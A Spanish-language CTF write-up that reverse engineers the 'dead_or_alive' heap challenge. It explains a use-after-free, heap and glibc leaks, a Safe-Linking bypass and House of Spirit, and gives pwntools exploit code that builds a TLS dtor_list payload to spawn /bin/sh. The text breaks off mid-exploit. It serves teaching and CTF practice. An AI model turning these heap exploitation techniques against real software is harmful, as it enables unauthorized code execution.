Dead or Alive
20 minutos de lectura
Se nos proporciona un binario de 64 bits llamado dead_or_alive
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
Además, el binario ya está parcheado para usar una versión Glibc dada (2.35):
$ ldd dead_or_alive
linux-vdso.so.1 (0x00007ffe1cfce000)
libc.so.6 => ./glibc/libc.so.6 (0x00007ff94805d000)
glibc/ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007ff94828d000)
$ glibc/ld-2.35.so glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos esta función main
:
void main() {
int option;
setup();
banner();
do {
while (true) {
while (option = menu(), option == 3) {
view();
}
if (option < 4) break;
LAB_00101a1a:
error("Invalid option");
}
if (option == 1) {
create();
} else {
if (option != 2) goto LAB_00101a1a;
delete();
}
} while (true);
}
Básicamente muestra un menú donde podemos crear bounties, eliminarlos o verlos. Después de leer el código descompilado de las tres funciones create
, delete
y view
, podemos definir una struct
que será útil para hacer el código más legible:
typedef struct bounty_t {
char* data;
ulong amount;
size_t size;
bool inuse;
bool alive;
} bounty_t;
Además, debemos tener en cuenta que se llama a una variable global Bounties
de tipo bounty_t*[50]
, y una variable global de tipo int
llamada bounty_idx
para administrar el número total de bointies almacenadas.
Función de asignación
El código para create
es muy simple. Verifica la cantidad de bounties almacenadas, y si hay suficiente espacio, se reserva un chunk para la estructura bounty_t
. Después de eso, el programa solicita algunos atributos, como amount
, size
y alive
. Este atributo size
debe ser menor que 101
y define el tamaño del chunk asignado para data
. Además, obsérvese que inuse
siempre se pone a true
:
void create() {
int alive;
char* p_data;
long in_FS_OFFSET;
ulong amount;
ulong size;
bounty_t* bounty;
char yn [2];
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
if (49 < bounty_idx) {
error("Maximum number of bounty registrations reached. Shutting down...");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Bounty amount (Zell Bars): ");
amount = 0;
scanf("%lu", &amount);
printf("Wanted alive (y/n): ");
yn[0] = '\0';
yn[1] = '\0';
read(0, yn, 2);
alive = strcmp(yn, "y");
printf("Description size: ");
size = 0;
scanf("%lu", &size);
if (size < 101) {
bounty = (bounty_t*) malloc(0x20);
if (bounty == NULL) {
error("Failed to allocate space for bounty");
/* WARNING: Subroutine does not return */
exit(-1);
}
bounty->amount = amount;
bounty->alive = alive == 0;
bounty->size = size;
p_data = (char*) malloc(bounty->size);
bounty->data = p_data;
bounty->inuse = true;
if (bounty->data == NULL) {
error("Failed to allocate space for bounty description");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Bounty description:");
read(0, bounty->data, bounty->size);
Bounties[bounty_idx] = bounty;
printf("Bounty ID: %d\n\n", (ulong) bounty_idx);
bounty_idx++;
} else {
error("Description size exceeds size limit");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Finalmente, la referencia a bounty
se agrega a la lista global Bounties
.
Función de liberación
A continuación, tenemos delete
, que es incluso más simple:
void delete() {
long in_FS_OFFSET;
int i;
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
printf("Bounty ID: ");
i = 0;
scanf("%d", &i);
if ((i < 0) || (bounty_idx <= (uint) i)) {
error("Bounty ID out of range");
} else if ((Bounties[i]->inuse == true) && (Bounties[i]->data != NULL)) {
free(Bounties[i]->data);
Bounties[i]->data = NULL;
Bounties[i]->inuse = false;
free(Bounties[i]);
putchar('\n');
} else {
error("Invalid ID");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Obsérvese que ambos bounty->data
y bounty
se liberan. Además, nótese que bounty->data
se pone a NULL
. Sin embargo, fíjate que Bounties[i]
no se pone a NULL
y bounty_idx
no se decrementa. Esto nos permitirá usar un índice de Bounties
que ya fue liberado para nuestra ventaja, lo cual es una especie de vulnerabilidad de Use After Free.
Función de información
Por último, pero no menos importante, tenemos view
:
void view() {
char *alive;
long in_FS_OFFSET;
int i;
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
printf("Bounty ID: ");
i = 0;
scanf("%d", &i);
if ((i < 0) || (49 < i)) {
error("ID out of range");
} else if (Bounties[i] == NULL) {
error("Bounty ID does not exist");
} else if (Bounties[i]->inuse == true) {
if (Bounties[i]->alive == false) {
alive = "No";
} else {
alive = "Yes";
}
printf("\nBounty: %lu Zell Bars\nWanted alive: %s\nDescription: %s\n", Bounties[i]->amount, alive, Bounties[i]->data);
} else {
error("Bounty has been removed");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Este es similar a delete
, en el sentido de que solicita un índice y simplemente imprime los datos de la estructura bounty_t
mientras no sea NULL
y que esté en uso.
Resumen
Entonces, en resumen, podemos crear estructuras en el heap como esta:
El primero es siempre un chunk de tamaño 0x31
, meintras que el chunk de data
podría tener un tamaño de hasta 0x64
(que se convertirá en un chunk de tamaño 0x71
).
Estrategia de explotación
Al intentar un reto de heap como este, normalmente empiezo a pensar en formas de fugar una dirección de Glibc. Una vez que tengo eso, trato de encontrar una manera de obtener otra primitiva para conseguir ejecución de código arbitrario.
Fugando direcciones de memoria
Esta vez, como el binario usa Glibc 2.35, Safe-Linking está habilitado, que es una mitigación utilizada para ofuscar punteros fd
en las free-lists del Tcache. Sin embargo, es fácil saltar. Para más información, consulte CRSid, donde entro en más detalle sobre esto. Por lo tanto, también necesitaremos una fuga de una dirección del heap para ofuscar punteros cuando obtengamos una primitiva de escritura.
La forma de fugar las direcciones del heap es simple, porque el programa usa read
para obtener la entrada del usuario. Como resultado, podemos liberar algunos objetos y luego ingresar un solo carácter en la posición del fd
. Luego, cuando usemos view
, obtendremos casi el mismo puntero fd
, pero modificados con un solo carácter.Pero esto no es un problema ya que los 12 bits menos significativos de cualquier dirección siempre son los mismos.
La forma de obtener una dirección de Glibc será más difícil, ya que nuestros chunks son de tamaño inferior a 101 (0x65
). Esto significa que solo se pueden usar free-lists del Tcache y free-lists del Fast Bin, que son listas enlazadas simples. Normalmente, la forma de fugar una dirección de Glibc en un reto de heap es liberar un chunk grande para que vaya al Unsorted Bin, que es una lista doblemente enlazada cuyos chunks tienen punteros fd
y bk
a main_arena
.
Aunque la fuga de Glibc se puede encontrar de una manera más simple, utilicé un truco con scanf
que puede salvarnos en muchas situaciones. Cuando ponemos un número con un montón de ceros a la izquierda, scanf
necesita almacenar esa cadena larga en algún lugar… ¡sí! ¡en el heap! Parece que si ingresamos un número que tiene al menos 1024 (0x400
) dígitos, scanf
llama a malloc_consolidate
, asigna un chunk con la cadena numérica, la procesa y luego la libera. El tema es llamar a malloc_consolidate
, porque si tenemos chunks del Fast Bin, se trasladarán al Small Bin, y esta es una lista doblemente enlazada, por lo que sus chunks mantienen punteros fd
y bk
a main_arena
. En este punto, podemos usar el procedimiento anterior para fugar utilizando la función view
.
En realidad, hay incluso una mejor manera de fugar Glibc, porque el puntero bk
coincide con el offset de amount
en bounty_t
. Por lo tanto, podemos usar otro truco de scanf
. Podemos poner a un signo menos -
, y no un dígito para que scanf
deje el hueco de memoria intacto. Como resultado, usando view
veremos la fuga de Glibc.
House of Spirit
El hecho de que Bounties[i]
no se ponga a NULL
nos permite reutilizar este índice más tarde con delete
. Por ejemplo, si creamos dos bounties con un chunk de tamaño 0x21
como campo data
, entonces liberamos ambos, y luego creamos un bounty con una chunk de tamaño 0x31
como campo data
, pisaremos uno de los campos ya eliminados.
Como resultado, podemos establecer un puntero arbitrario en el offset de data
, de manera que podamos usar free
sobre un puntero arbitrario. Esto se conoce como House of Spirit. Usaremos esta primitivo para obtener una situación de chunks solapados, de manera que podamos modificar el puntero fd
de un chunk del Tcache y así obtener una primitiva de escritura arbitraria.
Desarrollo del exploit
Usaremos las siguientes funciones auxiliares:
def create(size: int, data: bytes, amount: int | bytes = 1337, alive: bool = True) -> int:
io.sendlineafter(b'==> ', b'1')
io.sendlineafter(b'Bounty amount (Zell Bars): ', str(amount).encode() if isinstance(amount, int) else amount)
io.sendlineafter(b'Wanted alive (y/n): ', b'y' if alive else b'n')
io.sendlineafter(b'Description size: ', str(size).encode())
io.sendafter(b'Bounty description:\n', data)
io.recvuntil(b'Bounty ID: ')
return int(io.recvline().decode())
def delete(index: int):
io.sendlineafter(b'==> ', b'2')
io.sendlineafter(b'Bounty ID: ', str(index).encode())
def view(index: int) -> (int, bool, bytes):
io.sendlineafter(b'==> ', b'3')
io.sendlineafter(b'Bounty ID: ', str(index).encode())
io.recvuntil(b'Bounty: ')
amount = int(io.recvuntil(b' Zell Bars\nWanted alive: ', drop=True).decode())
alive = io.recvline() == b'Yes\n'
io.recvuntil(b'Description: ')
return amount, alive, io.recvline().strip()
Antes de comenzar, parcharé el binario para eliminar la llamada a usleep(15000)
que aparece en la función banner
como una animación. Podemos usar hexedit
para esto:
$ diff <(objdump -M intel -d dead_or_alive) <(objdump -M intel -d dead_or_alive_patched)
2c2
< dead_or_alive: file format elf64-x86-64
---
> dead_or_alive_patched: file format elf64-x86-64
247c247,251
< 1320: e8 bb fe ff ff call 11e0 <usleep@plt>
---
> 1320: 90 nop
> 1321: 90 nop
> 1322: 90 nop
> 1323: 90 nop
> 1324: 90 nop
Comencemos por fugar una dirección del heap. Para esto, necesitamos crear dos bounties y liberarlos:
a = create(0x18, b'a')
b = create(0x18, b'b')
delete(a)
delete(b)
input('1')
Obtendremos el siguiente estado del heap:
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000020002 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a320 0x000055a13790a2f0 | ..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=1,sz=0x30][2/2]
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00000|+0x002c0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a2d0|+0x00010|+0x002d0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=0,sz=0x20][2/2]
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a46d83dbaa 0x7d6e2088ec6b30a5 | ...m.U...0k.. n} | <- tcache[idx=1,sz=0x30][1/2]
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a310|+0x00000|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00010|+0x00320: 0x000055a46d83dbda 0x7d6e2088ec6b30a5 | ...m.U...0k.. n} | <- tcache[idx=0,sz=0x20][1/2]
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000000 0x0000000000020cd1 | ................ | <- top
0x55a13790a340|+0x00010|+0x00340: 0x0000000000000000 0x0000000000000000 | ................ |
* 8395 lines, 0x20cb0 bytes
Ahora podemos crear otro chunk con un campo data
de tamaño 0x21
para escribir un solo carácter:
leak_index = create(0x18, b'X')
_, _, data = view(leak_index)
La salida de view
nos dará el valor 0x000055a46d83db58
:
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000010001 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a2d0 0x000055a13790a2a0 | ...7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=1,sz=0x30][1/1]
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00000|+0x002c0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a2d0|+0x00010|+0x002d0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=0,sz=0x20][1/1]
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a13790a320 0x0000000000000539 | ..7.U..9....... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000101 | ................ |
0x55a13790a310|+0x00000|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00010|+0x00320: 0x000055a46d83db58 0x0000000000000000 | X..m.U.......... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000000 0x0000000000020cd1 | ................ | <- top
0x55a13790a340|+0x00010|+0x00340: 0x0000000000000000 0x0000000000000000 | ................ |
* 8395 lines, 0x20cb0 bytes
Con este valor y las funciones apropiadas para deshabilitar Safe-Linking podemos encontrar la dirección base del heap:
def deobfuscate(x: int, l: int = 64) -> int:
p = 0
for i in range(l * 4, 0, -4):
v1 = (x & (0xf << i)) >> i
v2 = (p & (0xf << i + 12 )) >> i + 12
p |= (v1 ^ v2) << i
return p
heap_addr = deobfuscate(u64(data[1:].ljust(8, b'\0')) << 8) & 0xfffffffffffff000
io.info(f'Heap base address: {hex(heap_addr)}')
[*] Heap base address: 0x55a13790a000
Ahora, procedemos a encontrar una fuga de Glibc. Para esto, usaré el truco de malloc_consolidate
y el truco del -
de scanf
. Primero, necesitamos llenar la free-list del Tcache para un tamaño dado y tener algunos chunks en el Fast Bin:
delete(leak_index)
to_delete = []
for _ in range(9):
to_delete.append(create(0x18, b'asdf'))
for d in reversed(to_delete):
delete(d)
gef> bins
----------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a340 count=7
-> Chunk(base=0x55a13790a330, addr=0x55a13790a340, size=0x30, flags=PREV_INUSE, fd=0x55a46d83da9a(=0x55a13790a390))
-> Chunk(base=0x55a13790a380, addr=0x55a13790a390, size=0x30, flags=PREV_INUSE, fd=0x55a46d83daea(=0x55a13790a3e0))
-> Chunk(base=0x55a13790a3d0, addr=0x55a13790a3e0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd3a(=0x55a13790a430))
-> Chunk(base=0x55a13790a420, addr=0x55a13790a430, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd8a(=0x55a13790a480))
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 14 valid chunks in tcache.
------------------------------------ Fast Bins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7f4c79923c90]: fd=0x55a13790a310
-> Chunk(base=0x55a13790a310, addr=0x55a13790a320, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dbca(=0x55a13790a2c0))
-> Chunk(base=0x55a13790a2c0, addr=0x55a13790a2d0, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
fastbins[idx=1, size=0x30, @0x7f4c79923c98]: fd=0x55a13790a2e0
-> Chunk(base=0x55a13790a2e0, addr=0x55a13790a2f0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83db9a(=0x55a13790a290))
-> Chunk(base=0x55a13790a290, addr=0x55a13790a2a0, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 4 valid chunks in fastbins.
----------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------
[+] Found 0 valid chunks in unsorted bin (when traced from `bk`).
------------------------------------ Small Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 small bins (when traced from `bk`).
------------------------------------ Large Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`).
Ahora, podemos poner un montón de 0
de forma que scanf
llame a malloc_consolidate
y todos los chunks del Fast Bin pasen al Small Bin:
io.sendlineafter(b'# ', b'0' * 1024)
gef> bins
----------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a340 count=7
-> Chunk(base=0x55a13790a330, addr=0x55a13790a340, size=0x30, flags=, fd=0x55a46d83da9a(=0x55a13790a390))
-> Chunk(base=0x55a13790a380, addr=0x55a13790a390, size=0x30, flags=PREV_INUSE, fd=0x55a46d83daea(=0x55a13790a3e0))
-> Chunk(base=0x55a13790a3d0, addr=0x55a13790a3e0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd3a(=0x55a13790a430))
-> Chunk(base=0x55a13790a420, addr=0x55a13790a430, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd8a(=0x55a13790a480))
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 14 valid chunks in tcache.
------------------------------------ Fast Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in fastbins.
----------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------
[+] Found 0 valid chunks in unsorted bin (when traced from `bk`).
------------------------------------ Small Bins for arena 'main_arena' ------------------------------------
small_bins[idx=9, size=0xa0, @0x7f4c79923d80]: fd=0x55a13790a290, bk=0x7f4c79923d70
-> Chunk(base=0x55a13790a290, addr=0x55a13790a2a0, size=0xa0, flags=PREV_INUSE, fd=0x7f4c79923d70 <main_arena+0xf0>, bk=0x7f4c79923d70 <main_arena+0xf0>)
[+] Found 1 valid chunks in 1 small bins (when traced from `bk`).
------------------------------------ Large Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`).
Ahora, como el puntero bk
también tiene un puntero a main_arena
y coincide con la posición de amount
de la estructura bounty_t
, podemos usar un signo menos para que scanf
deje el valor como está:
leak_index = create(0x48, b'A' * 8, amount=b'-')
_, _, data = view(leak_index)
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000060007 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a390 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... | <- unsortedbins[1/1]
0x55a13790a2f0|+0x00010|+0x002f0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000030 | P.......0....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
Como se puede ver, tenemos 8 A
y justo después de eso, tenemos la fuga de Glibc. Solo necesitamos encontrar su offset en la dirección base para saltarnos el ASLR:
gef> libc
------------------------------------------------ libc info ------------------------------------------------
$libc = 0x7f4c7970a000
path: ./glibc/libc.so.6
sha512: 4ba40bc64c05bbd0cfc442e50db8b3f075bd623dbff672e2edc1491da8e7e666247fb828b744a35894ca3dc3cbc7da06b6f1c42d39864abd934878813ebe730f
sha256: 65e8b2bf36961f19908fb8b779139be5458ade165a1ee20a00b7e0b89a80f032
sha1: 57541c3937dfcb77c7d2e184bd41e14dff1b954e
md5: 0081c1e75ad0afcb24254e7889829f5b
ver: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
gef> p/x 0x7f4c79923d70 - 0x7f4c7970a000
$1 = 0x219d70
glibc.address = u64(data[8:].ljust(8, b'\0')) - 0x219d70
io.success(f'Glibc base address: {hex(glibc.address)}')
[+] Glibc base address: 0x7f4c7970a000
En este punto, estamos listos para usar la primitiva de escritura para obtener ejecución del código arbitrario, llamando a system("/bin/sh")
. Estaré usando la técnica TLS-storage dtor_list
, que usé varias veces (por ejemplo, en Zombiedote y en Gloater). De hecho, necesitamos separar el payload en dos porque no tenemos suficiente espacio para ponerlo dentro de un chunk (limitado por 0x64
). Entonces, ingreso la dirección de la función y el parámetro de la función mangled para ejecutar después de exit
, y luego anulo la cookie PTR_MANGLE
para no tener que fugarla.
tls_addr = glibc.address - 0x28c0
tls_payload = p64(0)
tls_payload += p64(tls_addr - 0x80 + 0x30)
tls_payload += p64(glibc.sym.system << 17)
tls_payload += p64(next(glibc.search(b'/bin/sh')))
tls_payload += p64(0) * 8
null_ptr_mangle_cookie = p64(0)
El proceso requiere un poco de heap feng-shui para que todos los offsets relativos funcionen correctamente.Para empezar, podemos crear un chunk falso para explotar el House of Spirit después:
create(0x48, p64(heap_addr + 0x300) + p64(0x71) + p64(0x1337) + p64(0x101))
delete(create(0x64, b'asdf'))
delete(1)
gef> x/10gx &Bounties
0x55a134676060 <Bounties>: 0x000055a13790a2a0 0x000055a13790a2f0
0x55a134676070 <Bounties+16>: 0x000055a13790a2f0 0x000055a13790a2f0
0x55a134676080 <Bounties+32>: 0x000055a13790a2a0 0x000055a13790a340
0x55a134676090 <Bounties+48>: 0x000055a13790a390 0x000055a13790a3e0
0x55a1346760a0 <Bounties+64>: 0x000055a13790a430 0x000055a13790a480
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000050007 0x0000000000010000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a3e0 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a0b0|+0x000b0|+0x000b0: 0x0000000000000000 0x000055a13790a570 | ........p..7.U.. |
0x55a13790a0c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 28 lines, 0x1c0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
